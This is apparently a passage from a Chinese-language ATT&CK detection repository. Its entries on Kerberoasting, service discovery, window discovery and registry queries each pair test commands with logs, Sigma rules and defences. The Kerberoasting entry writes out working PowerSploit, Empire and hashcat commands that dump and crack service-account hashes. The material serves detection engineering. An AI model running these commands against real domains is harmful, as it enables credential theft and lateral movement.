    "content": "# T1558.003-Win-Kerberoasting\n\n## 描述\n\nKerberoasting是一种凭据窃取技术，攻击者利用有效的Kerberos票证授予票证（TGT），向域控制器（DC）请求票证授予服务（TGS）票证，针对服务主体名称（SPN）关联的服务账户进行离线暴力破解。SPN用于唯一标识Windows服务实例，需与至少一个服务账户（如运行服务的域账户）关联以启用Kerberos身份验证。\n\nTGS票证的部分数据使用RC4算法加密（Kerberos5TGS-REP etype 23），以服务账户的NTLM哈希作为密钥，易受离线破解攻击，可能暴露明文密码。攻击者无需向目标服务发送流量，仅与DC交互，隐蔽性高。破解的凭据可用于持久化、特权提升或横向移动。\n\n## 测试案例\n\n### 测试案例1：使用PowerSploit进行Kerberoasting\n通过PowerSploit的`Invoke-Kerberoast`模块扫描SPN并请求TGS票证，导出哈希进行破解。\n\n**命令**：\n```powershell\nImport-Module .\\Invoke-Kerberoast.ps1\nInvoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File -FilePath kerberoast_hashes.txt\nhashcat -m 13100 -a 0 kerberoast_hashes.txt rockyou.txt\n```\n\n- **说明**：\n  - 扫描域内SPN，请求TGS票证，导出RC4哈希。\n  - 使用Hashcat破解哈希。\n- **权限**：域用户权限。\n- **支持系统**：WindowsServer2008及以上（需ActiveDirectory环境）。\n\n### 测试案例2：使用Empire进行Kerberoasting\n通过Empire框架执行Kerberoasting攻击。\n\n**命令**：\n```powershell\n(Empire)> usemodule credentials/invoke_kerberoast\n(Empire)> set OutputFormat Hashcat\n(Empire)> execute\n```\n\n- **说明**：\n  - Empire自动化扫描SPN并导出TGS哈希。\n  - 输出格式兼容Hashcat或John。\n- **权限**：域用户权限。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4769：Kerberos服务票证请求，记录TGS请求。\n  - 事件ID4624：账户登录，记录请求票证的账户。\n- Sysmon日志：\n  - 事件ID1：进程创建，记录PowerShell或EmpireAgent的执行。\n  - 事件ID11：文件创建，记录导出的哈希文件。\n- 网络流量（Netflow）：\n  - 检测DC的Kerberos流量（端口88），重点关注RC4加密类型（etype 23）。\n  - 检测LDAP查询（端口389）用于SPN扫描。\n- 文件监控：\n  - 检测非预期路径下的哈希文件（如`.txt`或`.kirbi`）。\n\n### 日志示例\n- 安全日志（事件ID4769）：\n  ```\n  事件ID:4769\n  服务名称:MSSQLSvc/DC1.test.com\n  账户名:user1\n  账户域:TEST\n  客户端地址:::ffff:192.168.1.100\n  票证选项:0x40810000\n  票证加密类型:0x17 (RC4-HMAC)\n  ```\n- Sysmon事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:powershell.exe\n  CommandLine:powershell.exe -ExecutionPolicy Bypass -File Invoke-Kerberoast.ps1\n  CurrentDirectory:C:\\Users\\user1\\\n  User:TEST\\user1\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n\n## 测试复现\n\n### 环境准备\n- 攻击机：KaliLinux2019\n- 靶机：\n  - WindowsServer2012（域控制器，安装ActiveDirectory）\n  - WindowsServer2016（运行服务，如SQLServer）\n- 工具：\n  - PowerSploit（Invoke-Kerberoast）\n  - Empire（Kerberoast模块）\n  - Hashcat（哈希破解）\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 测试1：使用PowerSploit进行Kerberoasting\n1. **获取域用户权限**：\n   - 使用已知域用户凭据登录WindowsServer2016：\n   ```cmd\n   net use \\\\DC1.test.com\\IPC$ /user:TEST\\user1 Password123\n   ```\n\n2. **导入PowerSploit模块**：\n   ```powershell\n   Import-Module .\\Invoke-Kerberoast.ps1\n   ```\n\n3. **执行Kerberoasting**：\n   ```powershell\n   Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File -FilePath kerberoast_hashes.txt\n   ```\n\n4. **传输哈希文件**：\n   将`kerberoast_hashes.txt`复制到Kali。\n\n5. **破解哈希**：\n   ```bash\n   hashcat -m 13100 -a 0 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt\n   ```\n   - 输出示例：`MSSQLSvc/DC1.test.com:Password123`\n\n6. **结果分析**：\n   - 成功：获得服务账户密码，可用于进一步攻击。\n   - 失败可能：\n     - 域用户权限不足。\n     - SPN未正确注册。\n     - 密码字典不包含目标密码。\n\n#### 测试2：使用Empire进行Kerberoasting\n1. **启动Empire**：\n   在Kali上：\n   ```bash\n   empire\n   ```\n\n2. **配置监听器**：\n   ```powershell\n   (Empire)> listeners\n   (Empire)> uselistener http\n   (Empire)> execute\n   ```\n\n3. **生成Agent**：\n   ```powershell\n   (Empire)> usestager multi/launcher\n   (Empire)> set Listener http\n   (Empire)> execute\n   ```\n\n4. **在靶机执行Agent**：\n   在WindowsServer2016上运行生成的PowerShell脚本，建立与Empire的连接。\n\n5. **执行Kerberoasting**：\n   ```powershell\n   (Empire)> usemodule credentials/invoke_kerberoast\n   (Empire)> set OutputFormat Hashcat\n   (Empire)> execute\n   ```\n\n6. **破解哈希**：\n   重复测试1的步骤4-5。\n\n7. **结果分析**：\n   - 成功：通过Empire自动化提取并破解服务账户密码。\n   - 失败可能：Agent连接失败或网络限制。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4769：\n  ```\n  事件ID:4769\n  服务名称:MSSQLSvc/DC1.test.com\n  账户名:user1\n  账户域:TEST\n  客户端地址:::ffff:192.168.1.100\n  票证选项:0x40810000\n  票证加密类型:0x17\n  ```\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:powershell.exe\n  CommandLine:powershell.exe -ExecutionPolicy Bypass -File Invoke-Kerberoast.ps1\n  CurrentDirectory:C:\\Users\\user1\\\n  User:TEST\\user1\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID11：\n  ```\n  事件ID:11\n  Image:C:\\Windows\\System32\\powershell.exe\n  TargetFilename:C:\\Users\\user1\\kerberoast_hashes.txt\n  ```\n\n### Netflow流量\n- DC（192.168.1.10:88）与客户端（192.168.1.100）的Kerberos流量，包含RC4加密类型（etype 23）。\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`powershell.exe`执行SPN扫描或Kerberoasting脚本。\n   - 检测EmpireAgent的执行。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     powershell\\.exe.*(Invoke-Kerberoast|KerberosRequestorSecurityToken)\n     ```\n3. 安全日志分析：\n   - 监控事件ID4769，检测频繁的TGS请求或RC4加密类型（0x17）。\n   - 结合事件ID4624，分析请求账户的异常行为。\n4. 网络监控：\n   - 检测DC的Kerberos流量（端口88）中RC4加密的TGS-REP。\n   - 监控LDAP查询（端口389）用于SPN扫描。\n5. 文件监控：\n   - 检测`.txt`或`.kirbi`文件的创建，包含哈希或票证数据。\n\n### Sigma规则\n优化后的Sigma规则，增强检测能力：\n```yaml\ntitle: Kerberos弱加密TGS请求检测\nid: 5c6d7e8f-9a0b-1c2d-3e4f-5a6b7c8d9e0f\ndescription: 检测KerberosTGS请求使用RC4加密，可能与Kerberoasting相关\nstatus: experimental\nreferences:\n  - https://adsecurity.org/?p=3458\ntags:\n  - attack.credential_access\n  - attack.t1558.003\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection:\n    EventID: 4769\n    TicketEncryptionType: 0x17 # RC4加密\n    TicketOptions: 0x40810000\n  filter_legitimate:\n    ServiceName|endswith:\n      - 'krbtgt'\n      - 'kadmin'\n  condition: selection and not filter_legitimate\nfields:\n  - ServiceName\n  - AccountName\n  - ClientAddress\n  - TicketEncryptionType\nfalsepositives:\n  - 合法的RC4加密TGS请求\nlevel: medium\n```\n\n规则说明：\n- 目标：检测使用RC4加密的TGS请求。\n- 过滤：排除`krbtgt`等合法服务账户的请求。\n- 日志来源：Windows安全日志事件ID4769。\n- 误报处理：需结合请求频率或蜜罐账户分析。\n- 级别：标记为“中”优先级，因需进一步确认恶意行为。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Security\"\nEventCode=4769 TicketEncryptionType=0x17 TicketOptions=0x40810000 \nNOT ServiceName IN (\"*krbtgt\",\"*kadmin\") \n| fields ServiceName,AccountName,ClientAddress,TicketEncryptionType\n```\n\n规则说明：\n- 检测RC4加密的TGS请求，排除已知合法服务账户。\n- 减少误报：结合服务名称和客户端地址分析。\n\n### 检测挑战\n- 误报：合法RC4加密请求可能触发，需配置蜜罐账户或分析请求频率。\n- 日志依赖：需启用事件ID4769的详细日志。\n- 隐蔽性：Kerberoasting仅与DC交互，难以通过传统网络监控检测。\n\n## 防御建议\n1. 监控和日志：\n   - 启用事件ID4769的详细审计，记录TGS请求。\n   - 部署Sysmon，配置针对PowerShell的规则。\n2. 账户保护：\n   - 为服务账户设置强密码（至少15位，定期轮换）。\n   - 限制SPN注册，禁用不必要的服务账户。\n3. 蜜罐账户：\n   - 部署蜜罐服务账户，配置虚假SPN，触发检测。\n4. 加密强化：\n   - 禁用RC4加密，强制使用AES（组策略路径：`计算机配置>策略>管理模板>系统>Kerberos`）。\n5. 网络监控：\n   - 监控DC的Kerberos和LDAP流量，检测异常模式。\n6. 安全更新：\n   - 保持WindowsServer和ActiveDirectory更新。\n\n## 参考推荐\n- MITREATT&CKT1558.003:  \n  <https://attack.mitre.org/techniques/T1558/003/>\n- 检测Kerberoasting活动:  \n  <https://adsecurity.org/?p=3458>\n- PowerSploit:包含Invoke-Kerberoast模块。  \n  <https://github.com/PowerShellMafia/PowerSploit>\n- Empire:包含Kerberoast模块。  \n  <https://github.com/BC-Security/Empire>\n- Hashcat:用于哈希破解的工具。  \n  <https://hashcat.net/hashcat/>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n"
  },
  {
    "path": "Windows/09发现/T1007-win-系统服务发现.md",
    "content": "# T1007-Windows系统服务发现\n\n## 描述\n\n攻击者通过系统服务发现（T1007）获取目标系统上运行的注册服务信息，以了解系统配置、识别关键服务（如防病毒软件、防火墙或域控相关服务）或为后续攻击（如权限提升、服务滥用或持久化）收集情报。常见命令包括 Windows 原生工具如 `sc query`、`tasklist /svc` 和 `net start`，以及PowerShell命令（`Get-Service`、`Get-WmiObject Win32_Service`）或WMI查询。攻击者可能在自动发现阶段使用这些信息来决定是否感染目标、执行特定操作或识别高价值服务。\n\n在域环境中，攻击者可能通过服务发现定位域控制器服务（如Active Directory相关服务）或高权限进程，以计划进一步的攻击路径。攻击者还可能使用第三方工具（如PsService）或自定义脚本以减少日志痕迹。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户或管理员账户\n- 工具：CMD、PowerShell、WMIC\n\n### 测试案例 1：使用 `sc query`\n```dos\nC:\\Windows\\system32>sc query\nSERVICE_NAME: BFE\nDISPLAY_NAME: Base Filtering Engine\nTYPE : 20 WIN32_SHARE_PROCESS\nSTATE : 4 RUNNING\n(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)\nWIN32_EXIT_CODE : 0 (0x0)\nSERVICE_EXIT_CODE : 0 (0x0)\nCHECKPOINT : 0x0\nWAIT_HINT : 0x0\n\nSERVICE_NAME: WinDefend\nDISPLAY_NAME: Windows Defender Antivirus Service\nTYPE : 10 WIN32_OWN_PROCESS\nSTATE : 1 STOPPED\n(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)\nWIN32_EXIT_CODE : 0 (0x0)\nSERVICE_EXIT_CODE : 0 (0x0)\nCHECKPOINT : 0x0\nWAIT_HINT : 0x0\n```\n\n### 测试案例 2：使用 `tasklist /svc`\n```dos\nC:\\Windows\\system32>tasklist /svc\n映像名称 PID 服务\n========================= ======== ============================================\nsvchost.exe 896 BFE, Dhcp, EventLog\nsvchost.exe 1024 WinDefend\nSystem Idle Process 0 N/A\nSystem 4 N/A\n```\n\n### 测试案例 3：使用 `net start`\n```dos\nC:\\Windows\\system32>net start\n已经启动以下 Windows 服务:\nBackground Tasks Infrastructure Service\nBase Filtering Engine\nWindows Defender Antivirus Service\n```\n\n### 测试案例 4：使用 PowerShell\n```powershell\nPS C:\\> Get-Service | Select-Object Name, DisplayName, Status\nName              DisplayName                            Status\n----              -----------                            ------\nBFE               Base Filtering Engine                  Running\nWinDefend         Windows Defender Antivirus Service      Stopped\n```\n\n### 测试案例 5：使用 WMIC\n```dos\nC:\\Windows\\system32>wmic service list brief\nName                          StartMode  State\nBFE                           Auto       Running\nWinDefend                     Manual     Stopped\n```\n\n**说明**：\n- 普通用户可以运行 `sc query` 和 `net start`，但可能无法获取某些高权限服务的详细信息。\n- 管理员权限下，命令输出更完整，可能包含敏感服务信息。\n\n## 检测日志\n\n- **Windows 事件日志（安全日志）**：\n  - 事件 ID 4688：进程创建，记录 `sc.exe`、`tasklist.exe`、`net.exe` 等进程的启动。\n  - 事件 ID 4656/4658：对象句柄请求/关闭，可能涉及 WMI 查询。\n  - 事件 ID 4703：权限调整，可能涉及服务查询时的特权提升。\n- **Windows 事件日志（系统日志）**：\n  - 事件 ID 7045：新服务被创建，可能与攻击者后续操作相关。\n- **Sysmon 日志**：\n  - 事件 ID 1：进程创建，记录命令行参数和父进程信息。\n  - 事件 ID 11：文件创建，记录服务相关的配置文件访问。\n- **PowerShell 日志**：\n  - 事件 ID 4103/4104：记录PowerShell命令执行，如 `Get-Service` 或 `Get-WmiObject`。\n\n**要求**：\n- 启用 Windows安全日志的进程跟踪（`Audit Process Creation`）。\n- 启用 PowerShell脚本块日志（`Module Logging` 和 `Script Block Logging`）。\n- 部署 Sysmon并配置进程创建和文件访问监控。\n\n## 测试留痕\n\n- **进程相关**：\n  - 进程创建（`sc.exe`、`tasklist.exe`、`net.exe`、`powershell.exe`、`wmic.exe`）。\n  - 父进程（如 `cmd.exe` 或 `powershell.exe`）和命令行参数。\n- **文件访问**：\n  - 访问 `C:\\Windows\\System32` 中的可执行文件（如 `sc.exe`）。\n  - 可能的输出文件（如攻击者将服务列表导出到文件）。\n- **注册表访问**：\n  - 查询 `HKLM\\SYSTEM\\CurrentControlSet\\Services` 以获取服务配置。\n- **网络痕迹**：\n  - WMI 远程查询可能产生DCOM相关网络流量（端口135、动态高位端口）。\n- **隐藏手段**：\n  - 使用PowerShell脚本或第三方工具（如PsService）减少命令行日志。\n  - 重定向输出（如 `sc query > services.txt`）以隐藏直接输出。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n```yml\ntitle: Windows系统服务发现\ndescription: 检测通过sc.exe,tasklist.exe,net.exe,PowerShell或WMI执行系统服务发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1007/\ntags:\n  - attack.discovery\n  - attack.t1007\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_cmd:\n    EventID: 4688 # 新进程创建\n    NewProcessName|endswith:\n      - '\\sc.exe'\n      - '\\tasklist.exe'\n      - '\\net.exe'\n      - '\\net1.exe'\n      - '\\wmic.exe'\n    CreatorProcessName|endswith: '\\cmd.exe'\n    ProcessCommandLine|contains:\n      - 'query'\n      - 'qc'\n      - '/svc'\n      - 'start'\n      - 'service'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-Service'\n      - 'Get-WmiObject Win32_Service'\n      - 'Get-CimInstance Win32_Service'\n  condition: selection_cmd or selection_powershell\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - CreatorProcessName\n  - ScriptBlockText\nlevel: medium\nfalsepositives:\n  - 合法的IT管理工具或脚本（如SCCM、WSUS）可能触发类似行为\n  - 管理员手动运行服务查询命令\n```\n\n### 检测思路\n\n1. **进程监控**：\n   - 监控 `sc.exe`、`tasklist.exe`、`net.exe`、`wmic.exe` 和 `powershell.exe` 的进程创建事件（事件ID4688）。\n   - 关注命令行参数中包含 `query`、`qc`、`/svc`、`start` 或 `service` 的行为。\n2. **PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-Service`、`Get-WmiObject` 或 `Get-CimInstance` 的执行。\n3. **WMI 监控**：\n   - 检测 `wmic.exe` 进程启动，尤其是命令行中包含 `service` 的情况。\n   - 监控 WMI 相关的DCOM网络流量（端口135及高位端口）。\n4. **行为分析**：\n   - 检测短时间内高频的服务查询行为（如5分钟内多次触发）。\n   - 结合上下文（如异常用户、非常规时间段）提高检测准确性。\n\n## 建议\n\n1. **防御措施**：\n   - 限制普通用户对服务查询的权限（如通过组策略限制 `sc.exe` 或 WMI 访问）。\n   - 部署EDR工具，监控异常进程行为和命令行参数。\n   - 启用PowerShell脚本块日志（事件ID4104）和Sysmon日志，记录详细的进程和脚本执行信息。\n2. **检测优化**：\n   - 结合上下文分析，如检测异常用户账户、非常规时间段或高频服务查询行为。\n   - 监控WMI相关的DCOM网络流量（端口135及高位端口），识别远程服务查询。\n   - 使用机器学习或行为分析检测异常的服务查询模式（如大量服务枚举）。\n3. **降低误报**：\n   - 排除已知的合法管理脚本或工具（如SCCM、IT管理工具）触发的服务查询。\n   - 调整规则中的时间窗口（如从1分钟延长到5分钟），以捕捉完整的攻击链。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如PsService、ServiceControl）或自定义脚本，建议监控未知可执行文件的运行。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1007  \n  <https://attack.mitre.org/techniques/T1007/>\n- Sysmon配置指南  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- Elastic SIEM检测规则  \n  <https://www.elastic.co/guide/en/security/current/detection-rules.html>\n- Microsoft Defender for Endpoint服务发现检测  \n  <https://docs.microsoft.com/en-us/defender-endpoint>\n- PowerShell日志配置指南  \n  <https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging>"
  },
  {
    "path": "Windows/09发现/T1010-win-应用程序窗口发现.md",
    "content": "# T1010-Win-应用程序窗口发现\n\n## 描述\n\n攻击者通过应用程序窗口发现（T1010）获取目标系统上打开的应用程序窗口列表，以了解系统使用情况、推断用户行为或为其他攻击（如键盘记录、进程注入或目标选择）提供上下文信息。在Windows系统中，攻击者可能使用PowerShell命令（如 `Get-Process | Where-Object {$_.MainWindowTitle -ne \"\"}`）、COM对象（如 `Shell.Application` 的 `Windows()` 方法）或直接调用 Windows API（如 `EnumWindows`）来枚举窗口信息。在Mac系统中，攻击者可能使用AppleScript或 `osascript` 脚本获取活动窗口列表。攻击者可利用这些信息识别关键应用程序（如浏览器、密码管理器或远程桌面客户端），以进一步执行恶意操作。\n\n典型场景包括：攻击者结合键盘记录收集窗口上下文，定位高价值进程或确认目标系统的活动状态。\n\n## 测试案例\n\n### 环境\n- **Windows**：Windows Server 2016 / Windows 10, PowerShell 5.1 或更高，普通用户或管理员权限\n- **Mac**：macOS Ventura 或更高，普通用户权限\n- **工具**：PowerShell, CMD, AppleScript\n\n### 测试案例 1：PowerShell - Get-Process\n```powershell\nGet-Process | Where-Object {$_.MainWindowTitle -ne \"\"} | Select-Object ProcessName, MainWindowTitle, Path\n```\n**输出示例**：\n```powershell\nPS C:\\WINDOWS\\system32> Get-Process | Where-Object {$_.MainWindowTitle -ne \"\"} | Select-Object ProcessName, MainWindowTitle, Path\n\nProcessName   MainWindowTitle                  Path\n-----------   ---------------                  ----\ncmd           C:\\WINDOWS\\system32\\cmd.exe      C:\\WINDOWS\\system32\\cmd.exe\npowershell    管理员: Windows PowerShell       C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\nTextInputHost Microsoft Text Input Application C:\\Windows\\SystemApps\\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\\Input...\n```\n\n### 测试案例 2：PowerShell - COM 对象\n```powershell\n([Activator]::CreateInstance([Type]::GetTypeFromCLSID(\"13709620-C279-11CE-A49E-444553540000\"))).Windows() | Select-Object LocationName, LocationURL, HWND\n```\n**输出示例**：\n```powershell\nPS C:\\WINDOWS\\system32> ([Activator]::CreateInstance([Type]::GetTypeFromCLSID(\"13709620-C279-11CE-A49E-444553540000\"))).Windows() | Select-Object LocationName, LocationURL, HWND\n\nLocationName LocationURL   HWND\n------------ -----------   ----\n快速访问                 394180\n```\n\n### 测试案例 3：CMD - tasklist\n```dos\ntasklist /v /fo csv | findstr /v \"N/A\"\n```\n**输出示例**：\n```powershell\nPS C:\\WINDOWS\\system32> tasklist /v /fo csv | findstr /v \"N/A\"\n\"MicrosoftEdgeUpdate.exe\",\"5676\",\"Services\",\"0\",\"4,504 K\",\"Unknown\",\"NT AUTHORITY\\SYSTEM\",\"0:00:00\",\"??\"\n\"PopBlock.exe\",\"5548\",\"Console\",\"1\",\"5,540 K\",\"Running\",\"DESKTOP-4C7J879\\heihei\",\"0:00:05\",\"??\"\n\"MicrosoftEdgeUpdate.exe\",\"5560\",\"Console\",\"1\",\"4,544 K\",\"Running\",\"DESKTOP-4C7J879\\heihei\",\"0:00:00\",\"{2D905E07-FC38-4b89-83E1-931D3630937F}\"\n```\n\n**说明**：\n- Windows 测试案例需要PowerShell 5.1或更高版本，部分命令（如COM对象）可能需要管理员权限。\n- `tasklist /v` 提供窗口标题信息，但输出需过滤以排除无窗口的进程。\n\n## 检测日志\n\n- **Windows**：\n  - **安全日志**：\n    - 事件 ID 4688：进程创建，记录 `powershell.exe` 或 `cmd.exe` 的执行。\n  - **PowerShell 日志**：\n    - 事件 ID 4103/4104：记录 PowerShell 命令或脚本块执行（如 `Get-Process` 或 COM 对象调用）。\n  - **Sysmon 日志**：\n    - 事件 ID 1：进程创建，记录命令行参数和父进程信息。\n    - 事件 ID 11：文件创建，记录可能的脚本或输出文件。\n- **Mac**：\n  - **系统日志**：通过 `log show --predicate 'process == \"osascript\"'` 查看 AppleScript 执行。\n  - **Unified Logging**：记录 `System Events` 的调用。\n- **要求**：\n  - Windows：启用 `Audit Process Creation`（安全日志）、PowerShell `Script Block Logging` 和 `Module Logging`。\n  - Mac：启用 `com.apple.systemevents` 日志记录。\n\n## 测试留痕\n\n- **Windows**：\n  - **进程相关**：\n    - 进程创建：`powershell.exe`、`cmd.exe` 或 `tasklist.exe`。\n    - 命令行参数：如 `Get-Process | Where-Object {$_.MainWindowTitle`。\n  - **文件访问**：\n    - 可能的输出文件（如 `Get-Process` 结果导出到CSV）。\n    - 脚本文件（如 `.ps1` 文件）创建或访问。\n  - **注册表访问**：\n    - 查询 `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`（可能结合持久化）。\n  - **网络痕迹**：\n    - 远程PowerShell执行可能涉及 WinRM（端口5985/5986）。\n- **Mac**：\n  - **进程相关**：\n    - 进程创建：`osascript` 或 `System Events`。\n  - **日志痕迹**：\n    - `/var/log/system.log` 或 `log show` 中记录AppleScript执行。\n  - **隐藏手段**：\n    - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）或第三方工具（如AutoHotkey、PyAutoGUI）。\n    - 攻击者可能将输出重定向到文件或通过网络传输以减少本地痕迹。\n\n## 检测规则/思路\n\n### Sigma 规则\n\n```yml\ntitle: Windows应用程序窗口发现\ndescription: 检测通过PowerShell、CMD执行应用程序窗口发现的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1010/\ntags:\n  - attack.discovery\n  - attack.t1010\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_windows_cmd:\n    EventID: 4688 # 新进程创建\n    NewProcessName|endswith:\n      - '\\powershell.exe'\n      - '\\tasklist.exe'\n      - '\\cmd.exe'\n    ProcessCommandLine|contains:\n      - 'Get-Process | Where-Object {$_.MainWindowTitle'\n      - '[Activator]::CreateInstance([Type]::GetTypeFromCLSID'\n      - 'tasklist /v'\n  selection_windows_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-Process | Where-Object {$_.MainWindowTitle'\n      - '[Activator]::CreateInstance([Type]::GetTypeFromCLSID'\n  condition: selection_windows_cmd or selection_windows_powershell\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\nlevel: medium\nfalsepositives:\n  - 合法的IT管理脚本可能触发类似行为\n  - 管理员手动运行窗口查询命令\n```\n\n### 检测思路\n\n1. **进程监控**：\n   - 监控 `powershell.exe`、`cmd.exe`、`tasklist.exe` 和 `osascript` 的进程创建（事件 ID 4688）。\n   - 关注命令行参数中包含 `Get-Process`、`MainWindowTitle`、`tasklist /v` 或 `System Events` 的行为。\n2. **PowerShell 监控**：\n   - 启用PowerShell脚本块日志，检测 `Get-Process` 或COM对象调用。\n3. **行为分析**：\n   - 检测短时间内高频的窗口枚举行为（5分钟内多次触发）。\n   - 结合上下文（如异常用户、未知父进程）提高检测准确性。\n\n## 建议\n\n1. **防御措施**：\n   - **Windows**：\n     - 限制普通用户的PowerShell执行权限（如通过组策略限制 `powershell.exe`）。\n     - 启用PowerShell脚本块日志和模块日志，记录详细命令执行。\n     - 部署EDR工具，监控异常进程行为（如 `tasklist /v` 或COM对象调用）。\n   - **Mac**：\n     - 限制 `osascript` 的执行权限，仅允许受信任的脚本运行。\n     - 使用Gatekeeper或XProtect阻止未经签名的AppleScript。\n2. **检测优化**：\n   - 监控短时间内高频的窗口枚举行为（5分钟内多次触发）。\n   - 结合上下文分析，如异常用户账户、非常规时间段或未知父进程。\n   - 检测 WinRM（端口5985/5986）或 DCOM（端口135）流量，识别远程窗口发现。\n3. **降低误报**：\n   - 排除已知的IT管理工具（如 SCCM、Ansible）或合法脚本触发的行为。\n   - 配置白名单，过滤常见的管理员操作（如 `tasklist /v` 用于调试）。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如AutoHotkey、PyAutoGUI）或自定义脚本，建议监控未知可执行文件的运行。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1010  \n  <https://attack.mitre.org/techniques/T1010/>\n- Sysmon配置指南  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- PowerShell日志配置指南  \n  <https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging>\n- Elastic SIEM检测规则  \n  <https://www.elastic.co/guide/en/security/current/detection-rules.html>\n- 应用程序窗口发现技术分析  \n  <https://ired.team/offensive-security/enumeration-and-discovery/t1010-application-window-discovery>"
  },
  {
    "path": "Windows/09发现/T1012-win-查询注册表.md",
    "content": "# T1012-Win-查询注册表\n\n## 描述\n\n攻击者通过查询注册表（T1012）与Windows注册表交互，收集有关操作系统、配置、已安装软件或安全设置的信息。这些信息可用于了解系统环境、识别关键配置（如自动启动程序、服务或用户凭据）或为后续攻击（如持久化、权限提升或数据窃取）做准备。常见查询工具包括Windows原生命令行工具 `reg.exe`（如 `reg query`）、PowerShell命令（如 `Get-ItemProperty`、`Get-ChildItem`）以及WMI查询（如 `Get-WmiObject Win32_Registry`）。攻击者可能在自动发现阶段使用这些信息来决定是否感染目标、执行特定操作或定位高价值注册表键（如 `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run` 用于持久化或 `HKCU\\Software\\Microsoft\\Terminal Server Client` 用于RDP配置）。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户或管理员账户\n- 工具：CMD、PowerShell\n\n### 测试案例 1：查询持久化相关键\n```dos\nreg query \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\n```\n**输出示例**：\n```powershell\nPS C:\\Users\\heihei> reg query \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\n\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n    SecurityHealth    REG_EXPAND_SZ    %windir%\\system32\\SecurityHealthSystray.exe\n    Sysdiag    REG_SZ    \"C:\\Program Files\\Huorong\\Sysdiag\\bin\\HipsTray.exe\"\n```\n\n### 测试案例 2：使用 PowerShell\n```powershell\nGet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\n```\n**输出示例**：\n```\n\nPS C:\\Users\\heihei> Get-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\n\nSecurityHealth : C:\\WINDOWS\\system32\\SecurityHealthSystray.exe\nSysdiag        : \"C:\\Program Files\\Huorong\\Sysdiag\\bin\\HipsTray.exe\"\nPSPath         : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\nPSParentPath   : Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\nPSChildName    : Run\nPSDrive        : HKLM\nPSProvider     : Microsoft.PowerShell.Core\\Registry\n```\n\n\n**说明**：\n- 普通用户可以查询 `HKCU` 下的键，但 `HKLM` 可能需要管理员权限。\n- PowerShell 查询可能生成更详细的输出，适合自动化脚本。\n\n## 检测日志\n\n- **Windows 安全日志**：\n  - 事件 ID 4688：进程创建，记录 `reg.exe`、`powershell.exe` 的执行。\n  - 事件 ID 4657：注册表对象修改或查询（需启用 `Audit Registry`）。\n- **Sysmon 日志**：\n  - 事件 ID 1：进程创建，记录命令行参数和父进程信息。\n  - 事件 ID 13：注册表查询或修改，记录目标键路径。\n- **PowerShell 日志**：\n  - 事件 ID 4103/4104：记录 PowerShell 命令执行，如 `Get-ItemProperty`。\n- **系统日志**：\n  - 事件 ID 7045：新服务注册，可能与查询服务相关键结合。\n- **要求**：\n  - 启用 `Audit Process Creation` 和 `Audit 